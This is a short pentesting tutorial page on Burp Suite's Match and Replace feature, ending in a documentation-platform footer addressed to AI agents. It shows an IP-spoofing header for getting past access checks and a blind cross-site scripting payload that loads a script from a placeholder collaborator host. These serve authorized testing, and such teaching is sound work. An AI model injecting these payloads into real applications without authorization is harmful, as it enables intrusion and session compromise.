> For the complete documentation index, see [llms.txt](https://ttp.parzival.sh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ttp.parzival.sh/pentesting/web-applications/tooling/burp-suite/match-and-replace.md).

# Match and Replace

Burp Suite allows you to configure match and replace rules which will automagically modify reuqests and responses made while exploring the target application. This can be used to automate testing for a specific vulnerability and/or ease interaction with the application.

1. Go to **Tools** > **Proxy**.
2. Under **Match and Replace**, click **Add**.
3. Leave the **Match** field empty. This ensures that Burp will append a new header to requests rather than replacing an existing one.
4. In the **Replace** field, enter the following:
5. `X-Custom-IP-Authorization: 127.0.0.1`
6. Click **OK**.
7. Burp Proxy will now add this header to every request you make in Burp's browser.

<figure><img src="/files/qN0VG4v1Taiea2eTBH7m" alt=""><figcaption></figcaption></figure>

### Cross-site Scripting

Create a match and replace rule like above to match a random string such as `P4rz1v4L` and replace it with the following:

```
'"><script src="https://collaborator"></script><h1>test
```

<figure><img src="/files/Fxrv6zpmCVds9L4LB3QF" alt=""><figcaption><p>Source: <a href="https://twitter.com/xnl_h4ck3r/status/1602402711231676421">https://twitter.com/xnl_h4ck3r/status/1602402711231676421</a></p></figcaption></figure>

### References

{% embed url="<https://portswigger.net/burp/documentation/desktop/tutorials/using-match-and-replace>" %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ttp.parzival.sh/pentesting/web-applications/tooling/burp-suite/match-and-replace.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
